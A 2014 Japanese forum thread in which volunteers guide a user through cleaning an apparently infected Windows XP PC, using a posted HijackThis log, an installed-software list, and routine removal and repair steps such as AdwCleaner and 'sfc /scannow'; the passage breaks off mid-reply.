悪代官の伏魔殿掲示板
よろしくお願いします。
ヤフー知恵袋に質問したものです。
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q12121585627

よろしくお願いします。

hijackthis.logになります。
Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 17:43:35, on 2014/02/28
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
D:\ProgramFiles\HitmanPro\hmpsched.exe
D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
C:\WINDOWS\system32\spoolsv.exe
D:\ProgramFiles\HitmanPro\HitmanPro.exe
C:\WINDOWS\Explorer.EXE
D:\ProgramFiles\Google\Update\GoogleUpdate.exe
D:\ProgramFiles\JustSystems\ATOK22\ATOK22MN.EXE
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
D:\ProgramFiles\iTunes\iTunesHelper.exe
D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe
D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe
C:\WINDOWS\system32\Rundll32.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
C:\Program Files\Common Files\Java\Java Update\jusched.exe
D:\ProgramFiles\Real\RealPlayer\update\realsched.exe
C:\WINDOWS\system32\igfxpers.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Akamai\netsession_win.exe
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Akamai\netsession_win.exe
D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe
C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
D:\ProgramFiles\Java\jre7\bin\jqs.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamgui.exe
D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
d:\ProgramFiles\Microsoft SQL Server\90\Shared\sqlwriter.exe
C:\WINDOWS\system32\svchost.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
C:\WINDOWS\system32\wuauclt.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe
C:\WINDOWS\system32\wscntfy.exe
D:\ProgramFiles\iPod\bin\iPodService.exe
C:\Program Files\Common Files\Sony Shared\FeliCaLibrary\ServiceManager\FeliCaPort_ServiceMgr.exe
C:\WINDOWS\system32\wuauclt.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
C:\Documents and Settings\kwata.SIRIUS.003\デスクトップ\HijackThis.exe

O2 - BHO: Java(tm) Plug-In SSV Helper - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - D:\ProgramFiles\Java\jre7\bin\ssv.dll
O2 - BHO: Java(tm) Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - D:\ProgramFiles\Java\jre7\bin\jp2ssv.dll
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [IMJPMIG12.0] C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe
O4 - HKLM\..\Run: [iTunesHelper] "D:\ProgramFiles\iTunes\iTunesHelper.exe"
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [AppleSyncNotifier] C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
O4 - HKLM\..\Run: [CTSysVol] D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
O4 - HKLM\..\Run: [FeliCa Launcher] "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
O4 - HKLM\..\Run: [JustOnlineUpdate] "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
O4 - HKLM\..\Run: [P17Helper] Rundll32 P17.dll,P17Helper
O4 - HKLM\..\Run: [PocketCloud Location] D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
O4 - HKLM\..\Run: [QuickTime Task] "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Common Files\Java\Java Update\jusched.exe"
O4 - HKLM\..\Run: [TkBellExe] "D:\ProgramFiles\Real\RealPlayer\update\realsched.exe" -osboot
O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [Akamai NetSession Interface] "C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Akamai\netsession_win.exe"
O4 - HKCU\..\Run: [DAEMON Tools Lite] "D:\ProgramFiles\DAEMON Tools Lite\DTLite.exe" -autorun
O4 - HKCU\..\Run: [VeohPlugin] "D:\ProgramFiles\Veoh Networks\VeohWebPlayer\veohwebplayer.exe"
O4 - HKUS\S-1-5-19\..\Run: [ctfmon.exe] ctfmon.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [ctfmon.exe] ctfmon.exe (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-18\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'Default user')
O8 - Extra context menu item: Add to Google Photos Screensa&ver - res://C:\WINDOWS\system32\GPhotos.scr/200
O8 - Extra context menu item: E&xport to Microsoft Excel - res://D:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O8 - Extra context menu item: Mipony でダウンロード - file://D:\ProgramFiles\MiPony\Browser\IEContext.htm
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://fpdownload2.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/su2/ocx/15111/CTPID.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{AAC4A0CB-C003-44A6-9968-242CB0667474}: NameServer = 192.168.1.1
O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll
O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Apple Mobile Device - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: BrlAPI - Unknown owner - D:\cygwin\bin\cygrunsrv.exe
O23 - Service: Bwsvc - BUFFALO INC. - D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
O23 - Service: Google アップデート サービス (gupdate) (gupdate) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Updater Service (gusvc) - Google - D:\ProgramFiles\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: HitmanPro Scheduler (HitmanProScheduler) - SurfRight B.V. - D:\ProgramFiles\HitmanPro\hmpsched.exe
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - D:\ProgramFiles\iPod\bin\iPodService.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Oracle Corporation - D:\ProgramFiles\Java\jre7\bin\jqs.exe
O23 - Service: MBAMScheduler - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - D:\ProgramFiles\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: NFC Proxy Service (NFCProxyService) - Sony Corporation - D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
O23 - Service: RealNetworks Downloader Resolver Service - Unknown owner - D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
O23 - Service: Wyse PocketCloud (WysePocketCloud) - Unknown owner - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
O23 - Service: Wyse Remote Access (WyseRemoteAccess) - Wyse Technology. - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe

--
End of file - 9345 bytes



CCleaner の情報です。
+Lhaca 2014/02/17
Adobe AIR Adobe Systems Incorporated 2013/04/21 3.7.0.1530
Adobe Flash Player 12 ActiveX Adobe Systems Incorporated 2014/02/26 12.0.0.70
Adobe Flash Player 12 Plugin Adobe Systems Incorporated 2014/02/26 12.0.0.70
Adobe Reader XI (11.0.06) - Japanese Adobe Systems Incorporated 2014/02/09 149.00 MB 11.0.06
Apple Application Support Apple Inc. 2012/12/24 66.77 MB 2.3
Apple Mobile Device Support Apple Inc. 2012/12/24 24.55 MB 6.0.1.3
Apple Software Update Apple Inc. 2011/11/05 2.38 MB 2.1.3.127
ASIO Proxy for foobar2000 Maxim V.Anisiutkin 2014/02/17 0.6.5
ASIO4ALL Michael Tippach 2014/02/17 2.10
astah professional 6.1 Change Vision, Inc. 2014/02/17
ATOK 2009 株式会社ジャストシステム 2009/12/14 161.00 MB 22.0.3.0
BUFFALO AirStation倍速設定ツール（アンインストール） 2014/02/23
BUFFALO クライアントマネージャ３ 2014/02/23
BUFFALO 親機子機切り替えツール BUFFALO INC. 2014/02/17
Canon ScanGear Toolbox CS 2.2 2014/02/17
CCleaner Piriform 2014/02/28 4.11
Compatibility Pack for the 2007 Office system Microsoft Corporation 2014/01/16 275.00 MB 12.0.6612.1000
ContinueToSave 2012/05/02 1.0
Craving Explorer Version 1.5.2 T-Craft 2013/10/13 1.5.2.0
Creative EAX ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｽﾋﾟｰｶｰ ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｿﾌﾄｳｪｱ ｵｰﾄｱｯﾌﾟﾃﾞｰﾄ
DAEMON Tools Lite DT Soft Ltd 2014/02/17 4.46.1.0327
Dropbox Dropbox, Inc. 2014/02/17 2.4.11
DVD Shrink 3.2 DVD Shrink 2014/02/17
FeliCa Launcher Sony Corporation 2013/04/21 1.4.1.3
FFFTP Ver.1.98e FFFTP Project 2014/02/17
FLAC 1.2.1b (remove only) Xiph.org 2014/02/17 1.2.1b
Free Audio Dub version 1.7.9.908 DVDVideoSoft Ltd. 2014/01/24 1.7.9.908
GOM PLAYER Gretech Corporation 2014/02/17 2.1.46.5131
Google Chrome Google Inc. 2010/05/29 32.0.1700.41
HandBrake 0.9.8 2014/02/17 0.9.8
HitmanPro 3.7 SurfRight B.V. 2014/02/15 3.7.9.212
IDiskバックアップツール 株式会社ジャストシステム 2009/11/13 0.1.1.0
iExplorer 2.2.1.3 Macroplant, LLC 2012/02/11
iFunbox (v2.7.2386.747), iFunbox DevTeam 2014/01/05 v2.7.2386.747
Intel(R) Graphics Media Accelerator Driver 2014/02/17
iPhone 構成ユーティリティ Apple Inc. 2012/12/24 12.73 MB 3.6.1.296
iTunes Apple Inc. 2012/12/24 187.00 MB 11.0.1.12
J2SE Development Kit 5.0 Update 22 Sun Microsystems, Inc. 2010/02/13 245.00 MB 1.5.0.220
J2SE Runtime Environment 5.0 Update 22 Sun Microsystems, Inc. 2010/02/13 154.00 MB 1.5.0.220
Java 7 Update 51 Oracle 2013/04/21 129.00 MB 7.0.510
Java SE Development Kit 7 Update 9 Oracle 2012/11/24 180.00 MB 1.7.0.90
Java(TM) 6 Update 20 Sun Microsystems, Inc. 2009/12/25 94.97 MB 6.0.200
jetAudio Basic VX COWON 2010/01/05 8.0.0
JUSTｵﾝﾗｲﾝｱｯﾌﾟﾃﾞｰﾄ 株式会社ジャストシステム 2012/05/27 1.0.1.0
Malwarebytes Anti-Malware バージョン 1.75.0.1300 Malwarebytes Corporation 2014/02/16 1.75.0.1300
McAfee Security Scan Plus McAfee, Inc. 3.8.141.11
MediaInfo 0.7.67 MediaArea.net 2014/02/17 0.7.67
Mercurial 2.4.0 (x86) Matt Mackall and others 2012/11/24 24.27 MB 2.4.0
Microsoft .NET Framework 2.0 Service Pack 2 Microsoft Corporation 2014/02/13 3,483.00 MB 2.2.30729
Microsoft .NET Framework 2.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 6.23 MB 2.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Microsoft Corporation 2013/10/15 446.00 MB 3.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 9.40 MB 3.2.30729
Microsoft .NET Framework 4 Client Profile Microsoft Corporation 2014/02/13 4.0.30319
Microsoft .NET Framework 4 Extended Microsoft Corporation 2014/02/13 4.0.30319
Microsoft Office Excel Viewer Microsoft Corporation 2013/12/12 75.86 MB 12.0.6612.1000
Microsoft Office XP Professional with FrontPage Microsoft Corporation 2011/06/25 448.00 MB 10.0.6626.0
Microsoft Silverlight Microsoft Corporation 2013/10/09 275.00 MB 5.1.20913.0
Microsoft SQL Server 2008 Microsoft Corporation 2014/02/17
Microsoft SQL Server 2008 Browser Microsoft Corporation 2010/02/28 7.95 MB 10.0.1600.22
Microsoft SQL Server 2008 Management Objects Microsoft Corporation 2010/02/28 11.47 MB 10.0.1600.22
Microsoft SQL Server 2008 Native Client Microsoft Corporation 2010/02/28 4.82 MB 10.0.1600.22
Microsoft SQL Server 2008 セットアップ サポート ファイル (英語) Microsoft Corporation 2010/02/28 35.48 MB 10.0.1600.22
Microsoft SQL Server Compact 3.5 SP1 デザイン ツール日本語版 Microsoft Corporation 2010/02/28 9.17 MB 3.5.5692.0
Microsoft SQL Server Compact 3.5 SP1 日本語版 Microsoft Corporation 2010/02/28 2.87 MB 3.5.5692.0
Microsoft SQL Server VSS Writer Microsoft Corporation 2010/02/28 6.50 MB 10.0.1600.22
Microsoft Visual C# 2008 Express Edition SP1 - 日本語 Microsoft Corporation 2014/02/17
Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 Microsoft Corporation 2010/01/12 0.11 MB 8.0.50727.4053
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2011/06/25 5.28 MB 8.0.61001
Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 Microsoft Corporation 2010/03/02 0.15 MB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 Microsoft Corporation 2010/02/28 10.28 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/04/06 9.64 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2011/06/25 10.20 MB 9.0.30729.6161
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for .NET Framework - jpn Microsoft Corporation 2010/02/28 5.75 MB 3.5.30729
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for Win32 Microsoft Corporation 2010/02/28 2.61 MB 6.1.5295.17011
MobileMe Control Panel Apple Inc. 2011/02/14 11.97 MB 3.1.5.0
Mozilla Firefox 25.0.1 (x86 ja) Mozilla 2014/02/23 25.0.1
Mozilla Maintenance Service Mozilla 2014/02/17 25.0.1
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2009/11/14 2.67 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2009/12/14 2.77 MB 4.20.9876.0
MSXML 6.0 Parser (KB933579) Microsoft Corporation 2010/02/28 1.40 MB 6.10.1200.0
NFC Port Software Sony Corporation 2013/04/21 5.2.3.1
Orchis 2014/02/17
Paint.NET v3.5.10 dotPDN LLC 2013/04/03 14.62 MB 3.60.0
PC/SC Activator for Type B Sony Corporation 2013/04/21 1.2.1.0
PDF reDirect (remove only) EXP Systems LLC 2014/02/17 v2.5.2
PhoneTrans 3.3.8 iMobie Inc. 2013/03/12 3.3.8
Picasa 3 Google, Inc. 2014/02/17 3.8
PocketCloud Windows Companion 会社名 2013/04/06 16.15 MB 2.5.13
Python 2.4.3 Martin v. Lis 2012/11/24 29.34 MB 2.4.3150
QuickTime Apple Inc. 2011/02/14 73.72 MB 7.69.80.9
Real Alternative 2.0.2 2013/11/06 2.0.2
RealPlayer RealNetworks 2014/02/17 16.0.3
Safari Apple Inc. 2011/03/10 41.27 MB 5.33.20.27
SFCard Viewer 2 Sony Corporation 2013/04/21 2.4.1.2
Sleipnir Version 4.3.4 Fenrir Inc. 2013/05/16 4.3.4
Sound Blaster 5.1 VX 2014/02/17 1.0
SQL Server System CLR Types Microsoft Corporation 2010/02/28 0.81 MB 10.0.1600.22
Surround Mixer 2014/02/17
Tera Term 4.74 2012/08/14
UatubeAdRemoval UtubeAdRemoval 2014/01/30
Widget Manager Sony Corporation 2013/04/21 2.4
Windows Feature Pack for Storage (32-bit) - IMAPI update for Blu-Ray Microsoft Corporation 2011/01/03 1.0
Windows Genuine Advantage Validation Tool (KB892130) Microsoft Corporation 2009/11/11
Windows Internet Explorer 8 Microsoft Corporation 2009/11/12 20090308.140743
Windows Management Framework Core Microsoft Corporation 2010/02/27
WinRAR アーカイバ 2014/02/17
カシミール ３Ｄ ＤＡＮ杉本 2011/02/07 8.9.0
ﾃﾞﾊﾞｲｽ ｺﾝﾄﾛｰﾙ 2014/02/17

  • wysksun
  • 2014/02/28 (Fri) 17:55:19
返信フォームへ 
変なものがいくつか見えてますね
こんばんは。
ここの管理人の悪代官です。

知恵袋でレスしたIVNOさんがまだ来られてないので、自分でよければ案内からします。

まず最初にお伝えしておきます。
見てのとおり現在相談者さん多数のため、相談受けてから皆さんに順番にレスできるまで、毎回1日かそれ以上かかる可能性もあるので、すみませんがご了承ください。

ログを見せてもらいましたが、WindowsXpは今年4月でMicrosoftのサポートが終了するので、それ以降は実質的に使えなくなります。
ここでの相談の作業自体はうまく進めば1週間もかからず片付くでしょうが、それ以降はOSを含めたPCの買い替えを検討ください。
これはタイムリミットとして避けられないことです。

では以下の説明をよく見てから、順番に作業をお願いします。
既に準備した物もあるはずですが、一応説明を再度見ておいてください。

隠しファイルと拡張子を表示設定にしてください(やり方↓）
http://pasofaq.jp/windows/mycomputer/hiddenfile.htm
http://support.microsoft.com/kb/978449/ja

下記のツールをダウンロードして、基本の使い方を把握しておいてください。
ただし、配布サイトで他のアプリをダウンロードしろと勧めてくるような広告も出てきたらそれらは絶対にクリックしないでください。
「ATF-Cleaner」（通称：ATF）
説明↓
http://freesoft.tvbok.com/freesoft/pc_system/atf-cleaner.html
ダウンロード↓
http://www.atribune.org/index.php?option=com_content&task=view&id=25&Itemid=25
中央の赤い文字がダウンロードリンクです。
片付けるときはファイルを直接削除してください。
説明ページではWindowsXpと2000対応と書かれてますが、Win7やVistaにも対応です。

Iobit Uninstaller（通称・IU）
公式ページ↓
http://jp.iobit.com/free/iou.html
解説↓
http://milksizegene.blog.fc2.com/blog-entry-282.html
片付けのときはコントロールパネルからアンインストールですが、ポータブル版をお使いの場合はフォルダごと削除してください。

「CCleaner」（通称：CC）
説明↓
http://www.gigafree.net/system/clean/ccleaner.html
http://note.chiebukuro.yahoo.co.jp/detail/n178757
ダウンロード↓
http://www.piriform.com/ccleaner/download/standard
最新バージョンをダウンロードしてください。なお、インストール時におまけのアプリも勧めてくることがありますが、それらはチェック外してインストールは避けてください。
片付けるときはアンインストールしてください。

ここで重要な注意です。
CCは本来は高い性能を持つメンテナンスソフトですが、間違った使い方すると
【Windowsにダメージを与えてしまうおそれもある】
ので、ここでは解析ツールとしてのみ使います。
説明をしっかり読んで、自分が指示した以外の操作はしないように。

「AdwCleaner」（通称：AC）
http://www.bleepingcomputer.com/download/adwcleaner/dl/125/
ファイル直リンです。アクセスしてファイルをデスクトップにでも保存しておいてください。
片付けるときは起動後に「uninstall」ボタンを押せば自動で削除されます。

準備できたら作業開始です。

少なくとも下記のアプリは旧バージョンです。
>Mozilla Firefox 25.0.1 (x86 ja) Mozilla 2014/02/23 25.0.1
各種アプリの更新を怠っただけでも、脆弱性を悪用されて深刻な感染はあっさり起きます。
使うなら最新版に更新してください。使わないアプリならアンインストールが安全です。
他にも旧バージョンないか調べて、あれば同様に更新するか、アンインストールしてください。
また、Javaの旧バージョンである下記はコンパネからアンインストールしておいてください。
>J2SE Development Kit 5.0 Update 22 Sun Microsystems, Inc. 2010/02/13 245.00 MB 1.5.0.220
>J2SE Runtime Environment 5.0 Update 22 Sun Microsystems, Inc. 2010/02/13 154.00 MB 1.5.0.220
>Java SE Development Kit 7 Update 9 Oracle 2012/11/24 180.00 MB 1.7.0.90
>Java(TM) 6 Update 20 Sun Microsystems, Inc. 2009/12/25 94.97 MB 6.0.200

>Craving Explorer Version 1.5.2 T-Craft 2013/10/13 1.5.2.0
Miponyも入ってますが、ダウンロード支援ツールはできればアンインストールをお勧めします。
DLツールは各社のアンチウイルスソフトでサポート外です。
つまり、これらDLツールを使って危険なサイトやファイルにアクセスすると、マルウェアがあってもブロックできずに感染してしまう危険が高くなります。
ただでさえDLツールを使う人が多い動画サイトは現在、その隙を狙う危険な罠リンクや悪質広告の巣窟に成り果てています。
どうしても使うなら最新版に更新したうえで、これによるいかなトラブルに遭っても自己責任で。

PCをセーフモードで起動してください（やり方↓）
http://www.pc-master.jp/sousa/s-safemode.html

セーフモードでIUを使って、下記をアンインストールしてください。
>ContinueToSave 2012/05/02 1.0
>DAEMON Tools Lite DT Soft Ltd 2014/02/17 4.46.1.0327
>Free Audio Dub version 1.7.9.908 DVDVideoSoft Ltd. 2014/01/24 1.7.9.908
>GOM PLAYER Gretech Corporation 2014/02/17 2.1.46.5131
>HitmanPro 3.7 SurfRight B.V. 2014/02/15 3.7.9.212
>Real Alternative 2.0.2 2013/11/06 2.0.2
>UatubeAdRemoval UtubeAdRemoval 2014/01/30

IU起動して、該当のアプリを選択して、アンインストール→パワースキャンの順にスキャンして、残骸ファイル、レジストリも表示されたらそれにチェックして削除です。
なお、IUは削除後ごくまれに異常が出ることもあるので、もし異常があればWindows標準のシステムの復元で、削除時の復元ポイントに戻してください。

それと、下記も確認してください。
>ﾃﾞﾊﾞｲｽ ｺﾝﾄﾛｰﾙ 2014/02/17
2月17日にご自身でこれを入れた覚えがありますか？
もし覚えがなければこれも削除推奨です。
ご自身で入れたものなら、どういうアプリかを次回レスで教えてください。

セーフモードのままでATFを起動して、「Recycle bin」（ゴミ箱）以外の箇所全部にチェックしてから、下部の「Empty selected」を押してください。
これでPC内の一時ファイル等のゴミが掃除できます。
ゴミ箱を空にしないのは、もし間違って安全なファイルを削除しても戻せるようにとの対処です。

HJTを起動して、スキャン後表示された中の下記エントリをfixしてください。ただし、先のアンインストール後になくなった箇所は探しても見つからなければスルーして次へ進んでいいです。
>O4 - HKLM\..\Run: [P17Helper] Rundll32 P17.dll,P17Helper
>O4 - HKLM\..\Run: [TkBellExe] "D:\ProgramFiles\Real\RealPlayer\update\realsched.exe" -osboot
>O4 - HKCU\..\Run: [Akamai NetSession Interface] "C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Akamai\netsession_win.exe"
>O4 - HKCU\..\Run: [DAEMON Tools Lite] "D:\ProgramFiles\DAEMON Tools Lite\DTLite.exe" -autorun
>O4 - HKCU\..\Run: [VeohPlugin] "D:\ProgramFiles\Veoh Networks\VeohWebPlayer\veohwebplayer.exe"
>O8 - Extra context menu item: Mipony でダウンロード - file://D:\ProgramFiles\MiPony\Browser\IEContext.htm
>O23 - Service: HitmanPro Scheduler (HitmanProScheduler) - SurfRight B.V. - D:\ProgramFiles\HitmanPro\hmpsched.exe

対象エントリ左の「□」内にチェックして、下部の「Fix checked」を押せばfixされます。
この直後HJT画面が初期化されるので、そこでHJTを終了してください。
対象外の正規エントリを間違ってfixしないように注意です。

今度はACを起動してください。
起動したら「Scan」したあと、そのスキャン終了後に続けて「Clean」を押してください。
表示された画面で「はい」を選択すると処置開始されます。

処置完了したらそこでPCを通常モードで再起動してください。

再起動後にACのあらたなログが出るので、それをデスクトップにでも保存しておいてください。

今度はCCを起動してください。
起動したら、「ツール」→」「スタートアップ」→「Windows」タブを開いてください。
そこで右下の「テキストとして保存」を押すと、表示の内容がログとして保存できるので、ログをデスクトップにでも保存しておいてください。

続いて「InternetExplorer」タブ以下の各タブも順番に開いて、そのログもとっておいてください。
ただし、「コンテキストメニュー」のログは取らなくていいです。

CCの各ログをとったらCCは終了してください。

このあとブラウザを起動して、数時間ほどPC状態を様子見したあと、あらたにHJTとCCでのインストール情報ログを取り直してください。

取り直した両ログと、ACとCCの各ログを返信に貼って、状態報告とともにレスください。
それらを見てから続きの作業を指示します。
  • 悪代官
  • 2014/02/28 (Fri) 18:15:25
返信フォームへ 
セーモードでのACのクリーンができません
悪代官様、早速の返信ありがとうございます。

まだ作業途中なのですが、セーフモードでのACのスキャンした後クリーンができません。
20分近くたっても作業動作バーが進まず、強制終了してやり直しますが同じ状況です。
それほど時間のかかるものなのでしょうか?
  • wysksun
  • 2014/03/01 (Sat) 11:20:36
返信フォームへ 
遅くなりました
こんにちは、IVNOと申します。
知恵袋では別館のURL書いてたような・・・まぁ良いのですけど。

HitmanProが導入されていたということは、メトロポリタンウイルスに感染していたのでしょうか。
であるとするならば、事態はかなり深刻な状況ですので、ACが動作しないと言うのも納得できます。

通常であれば、処理は数秒で完了します。
それでは以下の作業をお願いいたします。

セーフモードで起動している状態で、スタートボタン→すべてのプログラム→アクセサリ→コマンドプロンプトを右クリックし、
管理者として実行をクリックして起動させます。
コマンドプロンプトが表示されたら、以下のように入力してください。

sfc /scannow

SFCと/SCANNOWの間には半角スペースが入ります。
状況によりましては、XPのディスクを要求されますので、リカバリディスクをご用意ください。
こちらでの作業が完了したら、続けて以下を入力してください。

fsutil dirty set c:

FSUTILとDIRTYとSETとC:の間には半角スペースが入ります。
Dirtyとマークされたと出ましたら、コマンドプロンプトを終了させ、PCを一度通常モードで再起動させてください。
再起動途中で自動的にPCの検査が入りますので、完了するまでしばらくお待ちください。
処理が完了して通常モードでPCの起動を確認できたら、セーフモードで再起動してください。
その後、改めてACによる作業をお願いいたします。
  • IVNO
  • MAIL
  • 2014/03/01 (Sat) 11:50:46
返信フォームへ 
Re: 遅くなりました
IVNO様、返信ありがとうございます。
改めてよろしくお願いします。

コマンドプロンプトにsfc /scannowを入力すると以下の文面が出ます。

保護システム ファイルスキャンを初期化できませんでした。
固有のエラーコードは、0x000006ba [RPC サーバーを利用できません。] です。


セーフモードでない通常起動ですとwindows ファイル保護の確認がでます。


  • wysksun
  • 2014/03/01 (Sat) 13:23:13
返信フォームへ 
リカバリディスク
今手元にリカバリディスクが見つかりません。
出来れば使わない方法をがあればいいのですが、、、
  • wysksun
  • 2014/03/01 (Sat) 14:09:53
返信フォームへ 
リカバリディスクの件ですが
リカバリディスクが必要な状況と言うのは、
